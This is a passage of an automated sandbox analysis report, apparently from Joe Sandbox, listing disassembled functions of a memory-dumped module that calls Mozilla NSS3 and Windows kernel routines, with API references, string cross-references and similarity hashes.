Part of subcall function 6C69FE20: TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
Part of subcall function 6C69FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F

PR_Unlock.NSS3(?), ref: 6C691F67

Strings

S&il, xrefs: 6C691EA0

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&il
API String ID: 704537481-872921247
Opcode ID: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction ID: d79f04e49aa2052efab44391b3388b5b50f0617fb5047a59d1bbeac192c8e901
Opcode Fuzzy Hash: e862b00b19ece749586da347e34ce76d79f1c9ddbb7b4658946143facddb3c6b
Instruction Fuzzy Hash: 48213775A0020AABEB009F29EC44F9A37ADEF423A8F244164FD19C7B01E731D955C7E9

Function 6C6BCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BCD93,?), ref: 6C6BCEEE

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6BCD93,?), ref: 6C6BCEFC

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6BCD93,?), ref: 6C6BCF0B

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6BCD93,?), ref: 6C6BCF1D

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 16ba786e57d150884e2954345e4da23bec673fbe68648ccc5d555f5f0d27a667
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 6D11E4B1E002047BEB00AA667C51B6BB5EC9F4524DF004039FC0AE7741FB70DA2887BA

Function 6C668C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C668C1B
EnterCriticalSection.KERNEL32 ref: 6C668C34
PL_ArenaAllocate.NSS3 ref: 6C668C65
PR_Unlock.NSS3 ref: 6C668C9C
PR_Unlock.NSS3 ref: 6C668CB6

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

Strings

KRAM, xrefs: 6C668C8F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction ID: 76328f497f12a5b1d249a6ff8bd83f0491ada62fe47fbed3f0cd1a15e1d93497
Opcode Fuzzy Hash: ba726d3de627fab06c18c243c56e499a17b65abe65e777fc0eee1a79424ce87a
Instruction Fuzzy Hash: 772197B16056019FD700AF79C484559F7F4FF0A308F05896ED884CBB11DB35E885CB9A

Function 6C678E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EA2

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
Part of subcall function 6C69F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C69F8AB
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C69F8C9
Part of subcall function 6C69F820: free.MOZGLUE(280F10EC,?,?), ref: 6C69F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EC3
TlsGetValue.KERNEL32(?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?,?,6C664F1C), ref: 6C678EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C692E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C678EF1
PR_Unlock.NSS3 ref: 6C678F20

Strings

b.il, xrefs: 6C678E96, 6C678F25

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.il
API String ID: 1978757487-1921218275
Opcode ID: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction ID: d589748912b51aad0dc5bac8657d9d82ec45b37514a343fa6f63ff163eb44522
Opcode Fuzzy Hash: e83cc7f2db6ea076c212bdfd937235ba5b15d3f2ae2ea9bdf130985810c419da
Instruction Fuzzy Hash: 43219C70908705AFC700AF29D184599BBF0FF49368F01496EEC98ABB50D734E854CBEA

Function 6C6E3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_EnterMonitor.NSS3(?), ref: 6C6E3E45

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3E5C
PR_EnterMonitor.NSS3(?), ref: 6C6E3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6E3EA6

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_ExitMonitor.NSS3(?), ref: 6C6E3EC0
PR_ExitMonitor.NSS3(?), ref: 6C6E3ED7
PR_ExitMonitor.NSS3(?), ref: 6C6E3EEE

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: df85b102a79697b97ae101c0efa96709c99f3f6c47b4e1667b29f4c2c7f792db
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 3511B771519600AFDB319E29FC06BC7B7A1DB55308F040836E65A87E30E632E82BC74A

Function 6C762C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C762CA0
PR_ExitMonitor.NSS3 ref: 6C762CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C762CD1
strdup.MOZGLUE(?), ref: 6C762CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C762D27

Strings

Loaded library %s (static lib), xrefs: 6C762D22

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction ID: cdf06b865eb46c87cc1f52af93245874f40d05e4d73b23d7269d894145112d2a
Opcode Fuzzy Hash: 32b5959640ecfa131aad2b8bff234dbda60cb95fa719d632edbc88c649cf4e43
Instruction Fuzzy Hash: 4F1104B17012059FEB008F16D949E6677B5AB4634EF14813DDC09C7F41EB31D808CBA5

Function 6C65BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65BDCA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDDB

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BDEC

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C65BE03

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65BE3B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: ec08bc34d3a50fce9b4313ce826fd95a03ae5485d95d032c64b5bc403fd3912c
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 0201DBA5B4121276F61013666C01FA7664C8FD23CDF680030FE05A6B82FB61E53A83BE

Function 6C6B0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B
TlsGetValue.KERNEL32(00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1044
free.MOZGLUE(00000000,?,00000800,6C64EF74,00000000), ref: 6C6B1064

Strings

security, xrefs: 6C6B1025

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction ID: 8c93f49064b597ba2401bade9a46978980df02935f628d62746fdb0b1c880ab2
Opcode Fuzzy Hash: bd90b978edea6d3122b3eb98b98188e14774337e2ae5317340e5e2e77fbbdb66
Instruction Fuzzy Hash: B2010831640250B7E7202F6DAC05B963678BF17789F014135E908A6A51EF71C165DBDA

Function 6C6E1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6E1C74

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6E1C92
free.MOZGLUE(?), ref: 6C6E1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6E1CCB
free.MOZGLUE(?), ref: 6C6E1CD2

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction ID: 98cd11b7d01fb884a8ceb90e7c58dbee9b95002e45c416f85f66606faf586c91
Opcode Fuzzy Hash: c541e02f0970ca457215fc1efda38c8300a27a6af8d3cbef923aed1f4d3f6264
Instruction Fuzzy Hash: 300196B1F0B211AFDF20AFE49D0DF8937B8A70B719F100136E90AE6A41D725D145579D

Function 6C6F2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F3046

Part of subcall function 6C6DEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C6C7FFB), ref: 6C6F312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6F3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6F2E8B

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6DF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C6C9BFF,?,00000000,00000000), ref: 6C6DF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C6C7FFA), ref: 6C6F2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6F317B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction ID: f8f5d4d53ba9776809a09e652965c1dd041f9ba1af1efbf5b2ef7fc5339d2de9
Opcode Fuzzy Hash: b648f4de03007986c9460b15d980632054d35ac317c6359216f981ff72c97117
Instruction Fuzzy Hash: 9AA1D071A002189FDB24CF54CC84BEAB7B6EF45308F148099ED596B741E731AD46CFA6

Function 6C6BED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C6BED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C6BEDCE

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

free.MOZGLUE(00000000,?,?,?,?,6C6BB04F), ref: 6C6BEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6BEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6BEEFB

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction ID: ed0e2b82c5d8c0918f4eba002951f7eef7a561eb8374721b122411793bd032d3
Opcode Fuzzy Hash: 950ad24414c2f0046eb32e9d18ee5f86b0c7ed8648fce2f79d91fbbd838a1617
Instruction Fuzzy Hash: 6281ADB5A002059FEB10CF59DC84BAB77F5FF89308F144468E815AB751DB30E826CBA9

Function 6C6BCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

PR_Now.NSS3 ref: 6C6BCD35

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

Part of subcall function 6C6A6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

PR_GetCurrentThread.NSS3 ref: 6C6BCD54

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Part of subcall function 6C6A7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651CCC,00000000,00000000,?,?), ref: 6C6A729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C6BCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C6BCE2C

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
